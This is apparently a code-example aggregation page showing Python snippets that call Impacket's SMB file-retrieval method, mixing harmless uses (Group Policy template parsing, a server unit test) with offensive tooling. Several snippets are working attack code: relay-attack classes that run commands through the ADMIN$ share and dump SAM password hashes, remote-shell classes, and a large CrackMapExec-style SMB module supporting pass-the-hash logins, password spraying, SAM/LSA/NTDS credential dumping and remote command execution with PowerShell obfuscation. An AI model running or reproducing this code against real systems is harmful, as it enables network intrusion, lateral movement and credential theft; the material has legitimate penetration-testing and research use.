Пример #1
0
class doAttack(Thread):
    def __init__(self, SMBClient, exeFile, command):
        Thread.__init__(self)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient

        self.__exeFile = exeFile
        self.__command = command
        self.__answerTMP = ''
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    print self.__answerTMP
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Пример #2
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = StringIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = self._domain_controller
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)

        try:
            content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '')
        except UnicodeDecodeError:
            content = content_io.getvalue().replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                setattr(gpttmpl_final, section_name, Policy(list()))
            elif '=' in l:
                property_name, property_values = [x.strip() for x in l.split('=')]
                if ',' in property_values:
                    property_values = property_values.split(',')
                setattr(getattr(gpttmpl_final, section_name), property_name, property_values)

        return gpttmpl_final
Пример #3
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = StringIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = gpttmpl_path_split[2]
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)

        try:
            content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '')
        except UnicodeDecodeError:
            content = content_io.getvalue().replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                setattr(gpttmpl_final, section_name, Policy(list()))
            elif '=' in l:
                property_name, property_values = [x.strip() for x in l.split('=')]
                if ',' in property_values:
                    property_values = property_values.split(',')
                setattr(getattr(gpttmpl_final, section_name), property_name, property_values)

        return gpttmpl_final
Пример #4
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, exeFile, command):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config
        self.__exeFile = exeFile
        self.__command = command
        self.__answerTMP = ''
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Пример #5
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, TGS, share):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.TGS = TGS
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        self.transferClient = SMBConnection('*SMBSERVER',
                                            self.server.getRemoteHost(),
                                            sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        self.transferClient.kerberosLogin(user,
                                          passwd,
                                          domain,
                                          lm,
                                          nt,
                                          aesKey,
                                          TGS=self.TGS,
                                          useCache=False)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename, 'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception, e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')
Пример #6
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception, e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')
Пример #7
0
def copy_from(target, source_path, target_path, share="c$"):
    username, password, domain, nthash = target.creds
    lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee"
    try:
        smb = SMBConnection(remoteName='*SMBSERVER',
                            remoteHost=target.target_ip,
                            sess_port=target.target_port)
        smb.login(username, password, domain, lmhash, nthash)
        with open(target_path, 'wb') as f:
            smb.getFile(share, source_path.replace('/', '\\'), f.write)
        return True
    except Exception as e:
        print(str(e))
        return False
Пример #8
0
class doAttack():
    # class doAttack(Thread):

    def __init__(self, SMBClient, command):
        # Thread.__init__(self)

        self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        self.__command = command
        self.__answerTMP = ''

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        samHashes = None
        try:
            # We have to add some flags just in case the original client did not
            # Why? needed for avoiding INVALID_PARAMETER
            flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
            flags2 |= SMB.FLAGS2_LONG_NAMES
            self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

            remoteOps = RemoteOperations(self.__SMBConnection, False)
            remoteOps.enableRegistry()
        except Exception as e:
            # Something wen't wrong, most probably we don't have access as admin. aborting
            print(str(e))
            return False

        try:
            remoteOps._RemoteOperations__executeRemote(self.__command)
            # print("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost())
            self.__answerTMP = ''
            self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                         self.__answer)
            self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')

        except Exception as e:
            print(str(e))
            self.__answerTMP = 'ERROR'
        finally:
            if remoteOps is not None:
                remoteOps.finish()

        return self.__answerTMP
Пример #9
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = BytesIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = self._domain_controller
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        if self._do_kerberos:
            smb_connection.kerberosLogin(self._user, self._password,
                                         self._domain, self._lmhash,
                                         self._nthash)
        else:
            smb_connection.login(self._user, self._password, self._domain,
                                 self._lmhash, self._nthash)

        self._logger.debug('Get File: Share = {0}, file_name ={1}'.format(
            share, file_name))
        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)
        try:
            content = content_io.getvalue().decode('utf-16le')[1:].replace(
                '\r', '')
        except UnicodeDecodeError:
            self._logger.warning('Unicode error: trying utf-8')
            content = content_io.getvalue().decode('utf-8').replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                gpttmpl_final._attributes_dict[section_name] = Policy(list())
            elif '=' in l:
                property_name, property_values = [
                    x.strip() for x in l.split('=')
                ]
                if ',' in property_values:
                    property_values = property_values.split(',')
                gpttmpl_final._attributes_dict[section_name]._attributes_dict[
                    property_name] = property_values

        return gpttmpl_final
Пример #10
0
    def test_smbserver_share_get(self):
        """Test reading files from a shared folder.
        """
        server = SimpleSMBServer(listenAddress=self.address,
                                 listenPort=int(self.port))
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        server.addShare(self.share_name, self.share_path)
        self.start_smbserver(server)

        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)

        local_file = BytesIO()
        client.getFile(self.share_name, self.share_file, local_file.write)
        local_file.seek(0)
        self.assertEqual(local_file.read(), b(self.share_new_content))

        # Check unexistent file
        with self.assertRaises(SessionError):
            client.getFile(self.share_name, "unexistent", local_file.write)

        client.close()
Пример #11
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception as e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')
 
    def do_put(self, s):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = '/'

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            f = dst_path + '/' + src_file
            pathname = string.replace(f,'/','\\')
            logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
            self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
            fh.close()
        except Exception as e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')

    def do_lcd(self, s):
        if s == '':
            print os.getcwd()
        else:
            os.chdir(s)
        self.send_data('\r\n')

    def emptyline(self):
        self.send_data('\r\n')
        return

    def default(self, line):
        self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')

    def send_data(self, data, hideOutput = True):
        if hideOutput is True:
            global LastDataSent
            LastDataSent = data
        else:
            LastDataSent = ''
        self.server.writeFile(self.tid, self.fid, data)
Пример #12
0
class smb(connection):

    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.lmhash = ''
        self.nthash = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv1 = None
        self.signing = False
        self.smb_share_name = smb_share_name

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
        smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
        dgroup = smb_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
        smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
        smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
        smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
        smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
        smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        
        cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
        cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
        cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
        #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
        #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')

        egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
        egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
        egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
        egroup.add_argument('--disks', action='store_true', help='enumerate disks')
        egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
        egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.')
        egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
        egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)')
        egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
        egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)')

        sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
        sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
        sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)')
        sgroup.add_argument("--content", action='store_true', help='enable file content searching')
        sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering')
        segroup = sgroup.add_mutually_exclusive_group()
        segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content')
        segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
        sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)')
        sgroup.add_argument("--only-files", action='store_true', help='only spider files')

        tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
        tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
        tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')

        cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
        cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
        psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
        psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')

        return parser

    def proto_logger(self):
        self.logger = CMEAdapter(extra={
                                        'protocol': 'SMB',
                                        'host': self.host,
                                        'port': self.args.port,
                                        'hostname': self.hostname
                                        })

    def get_os_arch(self):
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            if self.args.kerberos:
                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
            except (DCERPCException, e):
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64

        except Exception as e:
            logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))

        return 0

    def enum_host_info(self):
        self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]

        try:
            self.conn.login('' , '')
        except:
            #if "STATUS_ACCESS_DENIED" in e:
            pass

        self.domain    = self.conn.getServerDNSDomainName()
        self.hostname  = self.conn.getServerName()
        self.server_os = self.conn.getServerOS()
        self.signing   = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
        self.os_arch   = self.get_os_arch()

        self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))

        if not self.domain:
            self.domain = self.hostname

        self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)

        try:
            '''
                DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                (go home Windows, you're drunk)
            '''
            self.conn.logoff()
        except:
            pass

        if self.args.domain:
            self.domain = self.args.domain
        
        if self.args.local_auth:
            self.domain = self.hostname

        #Re-connect since we logged off
        self.create_conn_obj()

    def print_host_info(self):
        self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
                                                                                      ' x{}'.format(self.os_arch) if self.os_arch else '',
                                                                                      self.hostname,
                                                                                      self.domain,
                                                                                      self.signing,
                                                                                      self.smbv1))
    def kerberos_login(self, aesKey, kdcHost):
        # dirty code to check if user is admin but pywerview does not support kerberos auth ...
        error = ''
        try:
            self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost)
            # self.check_if_admin() # currently pywerview does not support kerberos auth
        except SessionError as e:
            error = e
        try:
            self.conn.connectTree("C$")
            self.admin_privs = True
        except SessionError as e:
            pass
        if not error:
            out = u'{}\\{} {}'.format(self.domain,
                                    self.conn.getCredentials()[0],
                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.success(out)
            return True
        else:
            self.logger.error(u'{} {} {}'.format(self.domain, 
                                                 error, 
                                                 '({})'.format(desc) if self.args.verbose else ''))
            return False

        # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
        if self.signing:
            try:
                self.conn.logoff()
            except:
                pass
            self.create_conn_obj()

    def plaintext_login(self, domain, username, password):
        try:
            self.password = password
            self.username = username
            self.domain = domain
            self.conn.login(username, password, domain)

            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.add_admin_user('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain,
                                         username,
                                         password,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        password,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')          
            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True  

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

            self.username = username
            self.domain = domain
            self.conn.login(username, '', domain, lmhash, nthash)

            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain,
                                         username,
                                         ntlm_hash,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
            if self.signing:
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')

            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True 

    def create_smbv1_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT)
            self.smbv1 = True
        except socket.error as e:
            if str(e).find('Connection reset by peer') != -1:
                logging.debug('SMBv1 might be disabled on {}'.format(self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_smbv3_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port)
            self.smbv1 = False
        except socket.error:
            return False
        except Exception as e:
            logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_conn_obj(self):
        if self.create_smbv1_conn():
            return True
        elif self.create_smbv3_conn():
            return True

        return False

    def check_if_admin(self):
        lmhash = ''
        nthash = ''

        if self.hash:
            if self.hash.find(':') != -1:
                lmhash, nthash = self.hash.split(':')
            else:
                nthash = self.hash
        self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)

    def gen_relay_list(self):
        if self.server_os.lower().find('windows') != -1 and self.signing is False:
            with sem:
                with open(self.args.gen_relay_list, 'a+') as relay_list:
                    if self.host not in relay_list.read():
                        relay_list.write(self.host + '\n')

    @requires_admin
    @requires_smb_server
    def execute(self, payload=None, get_output=False, methods=None):

        if self.args.exec_method: methods = [self.args.exec_method]
        if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec']

        if not payload and self.args.execute:
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        for method in methods:

            if method == 'wmiexec':
                try:
                    exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via wmiexec')
                    break
                except:
                    logging.debug('Error executing command via wmiexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'mmcexec':
                try:
                    exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash)
                    logging.debug('Executed command via mmcexec')
                    break
                except:
                    logging.debug('Error executing command via mmcexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'atexec':
                try:
                    exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share)
                    logging.debug('Executed command via atexec')
                    break
                except:
                    logging.debug('Error executing command via atexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'smbexec':
                try:
                    exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via smbexec')
                    break
                except:
                    logging.debug('Error executing command via smbexec, traceback:')
                    logging.debug(format_exc())
                    continue

        if hasattr(self, 'server'): self.server.track_host(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip())

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        if os.path.isfile(payload):
